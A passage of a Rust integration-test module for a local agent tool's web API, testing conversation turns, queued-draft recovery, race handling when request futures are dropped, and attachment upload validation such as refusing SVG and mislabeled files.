7857        assert_eq!(saved.turns.len(), 1);
7858
7859        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
7860            .await
7861            .expect("detail");
7862        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
7863        assert_eq!(roster, ["mock", "second"]);
7864
7865        let mut closed = talks.get(&id).expect("reload");
7866        talk::close(&mut closed, &talks).expect("close");
7867        let refused = call("mock").await.expect_err("closed talk");
7868        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
7869    }
7870
7871    #[tokio::test]
7872    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
7873        let f = Fixture::start().await;
7874        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
7875        let queue = f.queue();
7876        let mut mine = Task::new(
7877            "rename the loader".to_owned(),
7878            "rename the loader".to_owned(),
7879            PathBuf::from("/repo/magi"),
7880            Source::Agent {
7881                run: talk_id.clone(),
7882                node: "chat".to_owned(),
7883            },
7884        );
7885        queue.put(&mut mine).expect("file the task");
7886        let mut theirs = Task::new(
7887            "unrelated".to_owned(),
7888            "unrelated".to_owned(),
7889            PathBuf::from("/repo/magi"),
7890            Source::Human,
7891        );
7892        queue.put(&mut theirs).expect("file the task");
7893
7894        let res = f.get(&format!("/api/talks/{talk_id}")).await;
7895        assert_eq!(res.status, 200, "{}", res.body);
7896        let body = res.json();
7897        assert_eq!(
7898            body["status"], "open",
7899            "filing a task does not close a talk"
7900        );
7901        let tasks = body["tasks"].as_array().expect("tasks array");
7902        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
7903        assert_eq!(tasks[0]["id"], mine.id);
7904    }
7905
7906    #[tokio::test]
7907    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
7908        let (_tmp, _repo, f) = talk_fixture().await;
7909        let id = f.post("/api/talks", None).await.json()["id"]
7910            .as_str()
7911            .expect("id")
7912            .to_owned();
7913
7914        let res = f
7915            .post(
7916                &format!("/api/talks/{id}/say"),
7917                Some(r#"{"text":"what does the queue module do?"}"#),
7918            )
7919            .await;
7920        assert_eq!(res.status, 202, "{}", res.body);
7921        let queued = res.json();
7922        let turns = queued["turns"].as_array().expect("turns array");
7923        assert_eq!(
7924            turns.len(),
7925            1,
7926            "the answer reflects only what is on disk the instant it is sent, \
7927             before the agent's turn - which can run for the whole of \
7928             `[graph] timeout_talk` - has a chance to land: {queued}"
7929        );
7930        assert_eq!(turns[0]["who"], "operator");
7931        assert_eq!(turns[0]["body"], "what does the queue module do?");
7932        assert_eq!(
7933            queued["thinking"], true,
7934            "the accepted response exposes the background turn claim: {queued}"
7935        );
7936
7937        let mut turns_after = 1;
7938        for _ in 0..SETTLE_STEPS {
7939            let detail = f.get(&format!("/api/talks/{id}")).await.json();
7940            turns_after = detail["turns"].as_array().expect("turns array").len();
7941            if turns_after == 2 {
7942                break;
7943            }
7944            tokio::time::sleep(Duration::from_millis(10)).await;
7945        }
7946        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
7947    }
7948
7949    /// A phone that reloads mid-request drops `talk_say`'s whole handler
7950    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
7951    /// guards against: `talk::record` used to return, and only *then* did the
7952    /// handler make a second, separate disk round trip before spawning the
7953    /// agent's reply task. A future dropped in that gap left a message
7954    /// recorded on disk with no reply task ever started and no way back short
7955    /// of a fresh message - and the gap was not even the whole story: *any*
7956    /// `.await` in this handler, including the very first one, is a point
7957    /// where a drop can land after the awaited work already finished but
7958    /// before this handler's own code resumes to act on it. `record` now
7959    /// runs inside the task `tokio::spawn` hands to the runtime before this
7960    /// handler ever awaits anything of its own again, so there is nothing
7961    /// left in *this* handler's future for a disconnect to interrupt between
7962    /// the message landing on disk and the reply task starting.
7963    ///
7964    /// A real socket disconnect cannot be relied on to land in the old gap
7965    /// from a test - over loopback, `talk_say` typically finishes before the
7966    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
7967    /// same failure mode directly: it drops the task's future at whatever
7968    /// point it has reached, exactly what axum does to the handler future,
7969    /// without needing to win a real network race. Sweeping the delay before
7970    /// aborting samples a range of points the task's execution can be at,
7971    /// including where the old code sat waiting on its second disk round
7972    /// trip - confirmed by reverting this fix locally and watching this same
7973    /// sweep catch a talk stuck with the operator's turn recorded and no
7974    /// reply ever following.
7975    #[tokio::test]
7976    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
7977        let tmp = TempDir::new().expect("tempdir");
7978        let repo = tmp.path().join("repo");
7979        std::fs::create_dir_all(&repo).expect("repo dir");
7980        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7981        let home = TempDir::new().expect("temp home");
7982        let talks = Talks::at(home.path().join("talks"));
7983        let ui = Arc::new(
7984            Ui::new(
7985                Queue::at(home.path().join("queue")),
7986                Questions::at(home.path().join("questions")),
7987                talks.clone(),
7988                home.path().join("runs"),
7989                home.path().to_path_buf(),
7990                repo.clone(),
7991            )
7992            .with_worktrees_root(home.path().join("wt")),
7993        );
7994        let cfg = config_for(&repo).await.expect("discover config");
7995
7996        for delay in 0..40u32 {
7997            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
7998            let id = talk.id.clone();
7999
8000            let handler = tokio::spawn(talk_say(
8001                State(Arc::clone(&ui)),
8002                Path(id.clone()),
8003                Ok(Json(NewTalkTurn {
8004                    text: "what does the queue module do?".to_owned(),
8005                    attachments: Vec::new(),
8006                })),
8007            ));
8008            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8009            handler.abort();
8010            // Wait out the abort so the next iteration's talk does not race
8011            // this one's still-unwinding turn guard.
8012            let _ = handler.await;
8013
8014            let mut turns = 0;
8015            for _ in 0..SETTLE_STEPS {
8016                if let Ok(fresh) = talks.get(&id) {
8017                    turns = fresh.turns.len();
8018                    if turns != 1 {
8019                        break;
8020                    }
8021                }
8022                tokio::time::sleep(Duration::from_millis(10)).await;
8023            }
8024            assert_ne!(
8025                turns, 1,
8026                "delay {delay}: talk {id} recorded the operator's turn but \
8027                 the agent never answered - the reply task was never \
8028                 started after the handler future was dropped"
8029            );
8030        }
8031    }
8032
8033    /// The same drop, landing on `talk_say`'s other durable write.
8034    ///
8035    /// When a turn is already running, the busy branch persists the
8036    /// operator's text as a queued draft and then reclaims the turn slot if
8037    /// the holder gave it up in the meantime - and whoever reclaims owes that
8038    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
8039    /// which finishes whether or not the future awaiting it is still there,
8040    /// so a handler dropped at that `.await` used to leave the draft written
8041    /// to disk with the reclaimed guard dropped unread and no drainer ever
8042    /// started: the message sat queued until some unrelated later `say`
8043    /// happened to pick it up.
8044    ///
8045    /// This used to drive the handler future by hand, polling it a fixed
8046    /// number of times to park it at the `.await` where it asks for the turn
8047    /// and finds it busy, before the reclaim's slot-free case could be set up
8048    /// underneath it. That assumed a fixed number of polls lands at a fixed
8049    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
8050    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
8051    /// poll, so any number of this handler's several `blocking` awaits can
8052    /// collapse into one poll under load, landing the drive somewhere other
8053    /// than intended - including, occasionally, straight past the handler's
8054    /// own completion, which made polling it again panic with "async fn
8055    /// resumed after completion". No poll count fixes that; the handler's
8056    /// progress simply is not something a caller outside it can observe by
8057    /// counting.
8058    ///
8059    /// [`BusyQueueGate`] replaces the poll count with a real stop point
8060    /// inside the write itself, so the interleaving under test is pinned by
8061    /// an event instead of a guess: the gate fires only once the handler has
8062    /// actually decided `Busy` and is about to persist the draft, and it
8063    /// blocks that write until the test lets it through. Between those two
8064    /// moments the test drains the turn the handler found busy - through
8065    /// `drain_loop`, the protocol's other half - and then aborts the handler
8066    /// task outright, the same way axum drops a disconnected request's
8067    /// future. The write, and the reclaim it may do, run to completion
8068    /// regardless: they live in the `tokio::spawn` task the busy branch hands
8069    /// to the runtime before ever touching the gate, wholly independent of
8070    /// whether the handler that started it is still around - which is what
8071    /// this test is actually checking. A drainer other than that reclaim
8072    /// cannot exist here: the test's own `drain_loop` call happens before the
8073    /// gate opens, so it runs while the queue is still empty and hands the
8074    /// turn straight back rather than draining anything, closing off the
8075    /// possibility of the final assertion passing without the reclaim ever
8076    /// having done its job.
8077    #[tokio::test]
8078    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8079        let tmp = TempDir::new().expect("tempdir");
8080        let repo = tmp.path().join("repo");
8081        std::fs::create_dir_all(&repo).expect("repo dir");
8082        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8083        let home = TempDir::new().expect("temp home");
8084        let talks = Talks::at(home.path().join("talks"));
8085        let ui = Arc::new(
8086            Ui::new(
8087                Queue::at(home.path().join("queue")),
8088                Questions::at(home.path().join("questions")),
8089                talks.clone(),
8090                home.path().join("runs"),
8091                home.path().to_path_buf(),
8092                repo.clone(),
8093            )
8094            .with_worktrees_root(home.path().join("wt")),
8095        );
8096        let cfg = config_for(&repo).await.expect("discover config");
8097
8098        for attempt in 0..3u32 {
8099            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8100            let id = talk.id.clone();
8101            // A turn is already running, which is what sends `talk_say` down
8102            // the busy branch.
8103            let turn_guard = ui
8104                .begin_talk_turn(&id)
8105                .expect("claim the turn")
8106                .expect("a fresh talk owes nobody a turn");
8107
8108            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8109            let (release_tx, release_rx) = std::sync::mpsc::channel();
8110            ui.set_busy_queue_gate(BusyQueueGate {
8111                reached: reached_tx,
8112                release: release_rx,
8113            });
8114
8115            let handler = tokio::spawn(talk_say(
8116                State(Arc::clone(&ui)),
8117                Path(id.clone()),
8118                Ok(Json(NewTalkTurn {
8119                    text: "what does the queue module do?".to_owned(),
8120                    attachments: Vec::new(),
8121                })),
8122            ));
8123
8124            // Wait for the busy branch to actually reach the gate, rather
8125            // than for any fixed number of polls of anything - a bounded
8126            // wait rather than a bare `.await` so a regression that never
8127            // reaches the gate fails the test instead of hanging it.
8128            tokio::time::timeout(Duration::from_secs(5), reached_rx)
8129                .await
8130                .unwrap_or_else(|_| {
8131                    panic!(
8132                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8133                    )
8134                })
8135                .expect("the busy branch dropped the gate without using it");
8136
8137            // The turn that was running now finishes and gives the slot up
8138            // the way a real one does - through `drain_loop`, which finds
8139            // nothing queued yet (the write is still held at the gate) and
8140            // releases. The handler, parked inside `spawn_blocking` on the
8141            // other side of the gate, still believes the talk is busy -
8142            // exactly the interleaving the reclaim exists for.
8143            let running = talks.get(&id).expect("reload talk");
8144            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8145
8146            // Drop the handler future now, the way a reloading phone drops
8147            // it: suspended waiting on the busy branch's answer, having
8148            // itself made no more progress since it handed the write off.
8149            handler.abort();
8150            let _ = handler.await;
8151
8152            // Only now let the gated write proceed. It persists the draft
8153            // and reclaims the now-free slot from inside the task the busy
8154            // branch already spawned - unaffected by the handler's abort
8155            // above, since that task was independent of the handler's own
8156            // future from the moment it was spawned.
8157            let _ = release_tx.send(());
8158
8159            // A settled talk: the draft drained into an operator turn and
8160            // answered.
8161            let mut fresh = talks.get(&id).expect("reload talk");
8162            for _ in 0..SETTLE_STEPS {
8163                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8164                    break;
8165                }
8166                tokio::time::sleep(Duration::from_millis(10)).await;
8167                fresh = talks.get(&id).expect("reload talk");
8168            }
8169            assert!(
8170                fresh.pending.is_empty() && fresh.turns.len() == 2,
8171                "attempt {attempt}: talk {id} left the operator's text queued \
8172                 with no drainer - the reclaimed turn was dropped along with \
8173                 the handler future (pending {:?}, {} turns)",
8174                fresh.pending,
8175                fresh.turns.len()
8176            );
8177        }
8178    }
8179
8180    #[tokio::test]
8181    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8182        let (_tmp, _repo, f) = talk_fixture().await;
8183        let id = f.post("/api/talks", None).await.json()["id"]
8184            .as_str()
8185            .expect("id")
8186            .to_owned();
8187        let store = f.talks();
8188        let mut recovered = store.get(&id).expect("opened talk");
8189        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8190            .expect("persist pending draft without a live turn");
8191
8192        let edited = f
8193            .post(
8194                &format!("/api/talks/{id}/pending/edit"),
8195                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8196            )
8197            .await;
8198        assert_eq!(edited.status, 200, "{}", edited.body);
8199        assert!(edited.json()["thinking"].as_bool().unwrap());
8200
8201        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8202        for _ in 0..SETTLE_STEPS {
8203            if detail["turns"].as_array().expect("turns").len() == 2 {
8204                break;
8205            }
8206            tokio::time::sleep(Duration::from_millis(10)).await;
8207            detail = f.get(&format!("/api/talks/{id}")).await.json();
8208        }
8209        let turns = detail["turns"].as_array().expect("turns");
8210        assert_eq!(
8211            turns.len(),
8212            2,
8213            "the recovered draft must run once: {detail}"
8214        );
8215        assert_eq!(turns[0]["body"], "corrected");
8216        assert_eq!(detail["pending"], "");
8217    }
8218
8219    #[tokio::test]
8220    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8221        let tmp = TempDir::new().expect("tempdir");
8222        let repo = tmp.path().join("repo");
8223        std::fs::create_dir_all(&repo).expect("repo dir");
8224        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8225        let f = Fixture::with_repo(repo).await;
8226        let id = f.post("/api/talks", None).await.json()["id"]
8227            .as_str()
8228            .expect("id")
8229            .to_owned();
8230        let store = f.talks();
8231        let mut recovered = store.get(&id).expect("opened talk");
8232        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8233            .expect("persist pending draft without a live turn");
8234
8235        let refused = f
8236            .post(
8237                &format!("/api/talks/{id}/say"),
8238                Some(r#"{"text":"new message"}"#),
8239            )
8240            .await;
8241        assert_eq!(refused.status, 409, "{}", refused.body);
8242        assert!(refused.body.contains("resume"), "{}", refused.body);
8243        let saved = store.get(&id).expect("draft remains after refusal");
8244        assert!(saved.turns.is_empty());
8245        assert_eq!(saved.pending, "saved before restart");
8246
8247        let say_path = format!("/api/talks/{id}/say");
8248        let (first, second) = tokio::join!(
8249            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8250            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8251        );
8252        assert_eq!(first.status, 409, "{}", first.body);
8253        assert_eq!(second.status, 409, "{}", second.body);
8254        let saved = store
8255            .get(&id)
8256            .expect("draft remains after concurrent refusals");
8257        assert!(saved.turns.is_empty());
8258        assert_eq!(saved.pending, "saved before restart");
8259
8260        let resumed = f
8261            .post(&format!("/api/talks/{id}/pending/resume"), None)
8262            .await;
8263        assert_eq!(resumed.status, 202, "{}", resumed.body);
8264        let duplicate = f
8265            .post(&format!("/api/talks/{id}/pending/resume"), None)
8266            .await;
8267        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8268
8269        for _ in 0..SETTLE_STEPS {
8270            if store.get(&id).expect("talk").turns.len() == 2 {
8271                break;
8272            }
8273            tokio::time::sleep(Duration::from_millis(10)).await;
8274        }
8275        let finished = store.get(&id).expect("finished talk");
8276        assert_eq!(finished.turns.len(), 2, "{finished:?}");
8277        assert_eq!(finished.turns[0].body, "saved before restart");
8278        assert!(finished.pending.is_empty());
8279    }
8280
8281    #[tokio::test]
8282    async fn an_image_only_recovered_draft_resumes_without_text() {
8283        let (_tmp, _repo, f) = talk_fixture().await;
8284        let id = f.post("/api/talks", None).await.json()["id"]
8285            .as_str()
8286            .expect("id")
8287            .to_owned();
8288        let uploaded = f
8289            .post_bytes(
8290                &format!("/api/talks/{id}/attachments"),
8291                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8292                PNG_BYTES,
8293            )
8294            .await;
8295        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8296        let attachment = f
8297            .talks()
8298            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8299            .expect("attachment metadata")
8300            .expect("stored attachment");
8301        let store = f.talks();
8302        let mut recovered = store.get(&id).expect("opened talk");
8303        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8304
8305        let resumed = f
8306            .post(&format!("/api/talks/{id}/pending/resume"), None)
8307            .await;
8308        assert_eq!(resumed.status, 202, "{}", resumed.body);
8309        for _ in 0..SETTLE_STEPS {
8310            if store.get(&id).expect("talk").turns.len() == 2 {
8311                break;
8312            }
8313            tokio::time::sleep(Duration::from_millis(10)).await;
8314        }
8315        let finished = store.get(&id).expect("finished talk");
8316        assert_eq!(finished.turns.len(), 2, "{finished:?}");
8317        assert!(finished.turns[0].body.is_empty());
8318        assert_eq!(finished.turns[0].attachments.len(), 1);
8319        assert!(finished.pending_attachments.is_empty());
8320    }
8321
8322    #[tokio::test]
8323    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8324        let (_tmp, _repo, f) = talk_fixture().await;
8325        let id = f.post("/api/talks", None).await.json()["id"]
8326            .as_str()
8327            .expect("id")
8328            .to_owned();
8329        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8330        assert_eq!(closed.status, 200, "{}", closed.body);
8331        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8332            .expect("serialize closed talk");
8333        for (path, body) in [
8334            (format!("/api/talks/{id}/pending/resume"), None),
8335            (
8336                format!("/api/talks/{id}/pending/clear"),
8337                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8338            ),
8339            (
8340                format!("/api/talks/{id}/pending/edit"),
8341                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8342            ),
8343            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8344        ] {
8345            let response = f.post(&path, body).await;
8346            assert_eq!(response.status, 409, "{}", response.body);
8347        }
8348        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8349            .expect("serialize closed talk");
8350        assert_eq!(
8351            after_clear, before_clear,
8352            "clear must not rewrite a closed talk"
8353        );
8354    }
8355
8356    /// Keeps both claims observable long enough to exercise the distinction
8357    /// between one busy talk and a globally locked Chat surface.
8358    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8359
8360    #[tokio::test]
8361    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8362        let tmp = TempDir::new().expect("tempdir");
8363        let repo = tmp.path().join("repo");
8364        std::fs::create_dir_all(&repo).expect("repo dir");
8365        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8366        let f = Fixture::with_repo(repo).await;
8367        let id_a = f.post("/api/talks", None).await.json()["id"]
8368            .as_str()
8369            .unwrap()
8370            .to_owned();
8371        let id_b = f.post("/api/talks", None).await.json()["id"]
8372            .as_str()
8373            .unwrap()
8374            .to_owned();
8375
8376        let a = f
8377            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8378            .await;
8379        assert_eq!(a.status, 202, "{}", a.body);
8380        assert_eq!(a.json()["thinking"], true);
8381        let b = f
8382            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8383            .await;
8384        assert_eq!(b.status, 202, "{}", b.body);
8385        assert_eq!(b.json()["thinking"], true);
8386
8387        let listed = f.get("/api/talks").await.json();
8388        for id in [&id_a, &id_b] {
8389            let view = listed
8390                .as_array()
8391                .unwrap()
8392                .iter()
8393                .find(|talk| talk["id"] == *id)
8394                .unwrap();
8395            assert_eq!(view["thinking"], true, "{listed}");
8396        }
8397        let repeated = f
8398            .post(
8399                &format!("/api/talks/{id_a}/say"),
8400                Some(r#"{"text":"again"}"#),
8401            )
8402            .await;
8403        assert_eq!(repeated.status, 202, "{}", repeated.body);
8404        assert_eq!(repeated.json()["pending"], "again");
8405    }
8406
8407    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
8408    /// few more, since real uploads are never exactly eight bytes.
8409    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8410
8411    #[tokio::test]
8412    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8413        let f = Fixture::start().await;
8414        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8415
8416        let res = f
8417            .post_bytes(
8418                &format!("/api/talks/{id}/attachments"),
8419                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8420                PNG_BYTES,
8421            )
8422            .await;
8423        assert_eq!(res.status, 201, "{}", res.body);
8424        let body = res.json();
8425        assert_eq!(body["name"], "shot.png");
8426        assert_eq!(body["mime"], "image/png");
8427        assert_eq!(body["bytes"], PNG_BYTES.len());
8428        let att_id = body["id"].as_str().expect("id").to_owned();
8429        assert_eq!(
8430            att_id.len(),
8431            32,
8432            "the id must never be a client-suppliable path: {att_id}"
8433        );
8434
8435        let got = f
8436            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8437            .await;
8438        assert_eq!(got.status, 200, "{}", got.body);
8439        assert_eq!(got.header("content-type"), Some("image/png"));
8440        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8441        assert_eq!(got.bytes, PNG_BYTES);
8442    }
8443
8444    #[tokio::test]
8445    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8446        let f = Fixture::start().await;
8447        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8448
8449        // SVG can carry a `<script>`, so it is never on the whitelist even
8450        // though it is a real IANA image type.
8451        let svg = f
8452            .post_bytes(
8453                &format!("/api/talks/{id}/attachments"),
8454                &[("Content-Type", "image/svg+xml")],
8455                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8456            )
8457            .await;
8458        assert!(
8459            (400..500).contains(&svg.status),
8460            "svg must be refused: {} {}",
8461            svg.status,
8462            svg.body
8463        );
8464        assert!(svg.body.contains("SVG"), "{}", svg.body);
8465
8466        let text = f
8467            .post_bytes(
8468                &format!("/api/talks/{id}/attachments"),
8469                &[("Content-Type", "text/plain")],
8470                b"just some text",
8471            )
8472            .await;
8473        assert!(
8474            (400..500).contains(&text.status),
8475            "an unlisted type must be refused: {} {}",
8476            text.status,
8477            text.body
8478        );
8479
8480        // The declared type is a real png, but the size check runs before
8481        // the bytes are even looked at.
8482        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8483        let big = f
8484            .post_bytes(
8485                &format!("/api/talks/{id}/attachments"),
8486                &[("Content-Type", "image/png")],
8487                &oversized,
8488            )
8489            .await;
8490        assert_eq!(
8491            big.status,
8492            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8493            "{}",
8494            big.body
8495        );
8496    }
8497
8498    #[tokio::test]
8499    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8500        let f = Fixture::start().await;
8501        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8502
8503        // A whitelisted `Content-Type`, but bytes that are not actually a
8504        // png - the declared header alone is never trusted.
8505        let res = f
8506            .post_bytes(
8507                &format!("/api/talks/{id}/attachments"),
8508                &[("Content-Type", "image/png")],
8509                b"<html>not a picture</html>",
8510            )
8511            .await;
8512        assert!((400..500).contains(&res.status), "{}", res.body);
8513    }
8514
8515    #[tokio::test]
8516    async fn an_unknown_attachment_id_is_a_404() {
8517        let f = Fixture::start().await;
8518        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8519
8520        let res = f
8521            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8522            .await;
8523        assert_eq!(res.status, 404, "{}", res.body);
8524    }
8525
8526    #[tokio::test]
8527    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8528        let f = Fixture::start().await;
8529        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8530
8531        let uploaded = f
8532            .post_bytes(
8533                &format!("/api/talks/{id}/attachments"),
8534                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8535                PNG_BYTES,
8536            )
8537            .await;
8538        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8539        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8540
8541        let res = f
8542            .post(
8543                &format!("/api/talks/{id}/say"),
8544                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8545            )
8546            .await;
8547        assert_eq!(res.status, 202, "{}", res.body);
8548        let queued = res.json();
8549        let turns = queued["turns"].as_array().expect("turns array");
8550        assert_eq!(
8551            turns.len(),
8552            1,
8553            "an empty body with an attachment is still a turn: {queued}"
8554        );
8555        assert_eq!(turns[0]["who"], "operator");
8556        assert_eq!(turns[0]["body"], "");
8557        let atts = turns[0]["attachments"]
8558            .as_array()
8559            .expect("attachments array");
8560        assert_eq!(atts.len(), 1);
8561        assert_eq!(atts[0]["id"], att_id);
8562        assert_eq!(atts[0]["mime"], "image/png");
8563
8564        // Not only in the response: `record` flushes to disk before the
8565        // agent's own turn is even spawned.
8566        let on_disk = f.talks().get(&id).expect("get");
8567        assert_eq!(on_disk.turns[0].attachments.len(), 1);
8568        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8569    }
8570
8571    #[tokio::test]
8572    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8573        let f = Fixture::start().await;
8574        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8575
8576        let res = f
8577            .post(
8578                &format!("/api/talks/{id}/say"),
8579                Some(&format!(
8580                    r#"{{"text":"hi","attachments":["{}"]}}"#,
8581                    "a".repeat(32)
8582                )),
8583            )
8584            .await;
8585        assert!((400..500).contains(&res.status), "{}", res.body);
8586        assert!(res.body.contains("unknown attachment"), "{}", res.body);
8587
8588        let on_disk = f.talks().get(&id).expect("get");
8589        assert!(
8590            on_disk.turns.is_empty(),
8591            "a rejected attachment id must not partially record the turn: {:?}",
8592            on_disk.turns
8593        );
8594    }
8595
8596    #[tokio::test]
8597    async fn talk_close_makes_the_talk_refuse_further_turns() {
8598        let f = Fixture::start().await;
8599        let id = seed_talk(&f, "20260904-014455-cd34", "open");
8600
8601        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8602        assert_eq!(closed.status, 200, "{}", closed.body);
8603        assert_eq!(closed.json()["status"], "closed");
8604
8605        // Idempotent: closing an already-closed talk is not an error.
8606        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8607        assert_eq!(closed_again.status, 200);
8608        assert_eq!(closed_again.json()["status"], "closed");
8609
8610        let said = f
8611            .post(
8612                &format!("/api/talks/{id}/say"),
8613                Some(r#"{"text":"too late"}"#),
8614            )
8615            .await;
8616        assert_eq!(said.status, 409, "{}", said.body);
8617    }
8618
8619    #[tokio::test]
8620    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8621        let (_tmp, _repo, f) = talk_fixture().await;
8622        let id = f.post("/api/talks", None).await.json()["id"]
8623            .as_str()
8624            .expect("id")
8625            .to_owned();
8626        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8627        assert_eq!(closed.status, 200, "{}", closed.body);
8628
8629        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8630        assert_eq!(reopened.status, 200, "{}", reopened.body);
8631        assert_eq!(reopened.json()["status"], "open");
8632
8633        // Idempotent: reopening an already-open talk is not an error.
8634        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8635        assert_eq!(reopened_again.status, 200);
8636        assert_eq!(reopened_again.json()["status"], "open");
8637
8638        let said = f
8639            .post(
8640                &format!("/api/talks/{id}/say"),
8641                Some(r#"{"text":"still there?"}"#),
8642            )
8643            .await;
8644        assert_eq!(
8645            said.status, 202,
8646            "a reopened talk accepts turns again: {}",
8647            said.body
8648        );
8649    }
8650
8651    #[tokio::test]
8652    async fn talk_reopen_on_an_unknown_id_is_404() {
8653        let f = Fixture::start().await;
8654        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8655        assert_eq!(res.status, 404, "{}", res.body);
8656    }
8657
8658    #[tokio::test]
8659    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8660        let f = Fixture::start().await;
8661        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8662
8663        let deleted = f.delete(&format!("/api/talks/{id}")).await;
8664        assert_eq!(deleted.status, 204, "{}", deleted.body);
8665
8666        let after = f.get(&format!("/api/talks/{id}")).await;
8667        assert_eq!(after.status, 404, "{}", after.body);
8668
8669        let listed = f.get("/api/talks").await.json();
8670        assert!(
8671            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8672            "a deleted talk must not linger in the list: {listed}"
8673        );
8674    }
8675
8676    #[tokio::test]
8677    async fn talk_delete_on_an_unknown_id_is_404() {
8678        let f = Fixture::start().await;
8679        let res = f.delete("/api/talks/nonexistent-id").await;
8680        assert_eq!(res.status, 404, "{}", res.body);
8681    }
8682
8683    /// A task's page lists every run it ever had, in order, and says what kind
8684    /// of attempt each was - including a resume, which re-pushes the same run
8685    /// id, and a run whose record this build cannot read.
8686    #[tokio::test]
8687    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
8688        let f = Fixture::start().await;
8689        let (a, b, gone) = (
8690            "20260902-140501-aaaa",
8691            "20260902-140502-bbbb",
8692            "20260902-140503-cccc",
8693        );
8694        write_run(&f.runs(), a, RunStatus::Stalled);
8695        let mut review = RunState::new(
8696            PathBuf::from("/repo/magi"),
8697            "main".to_owned(),
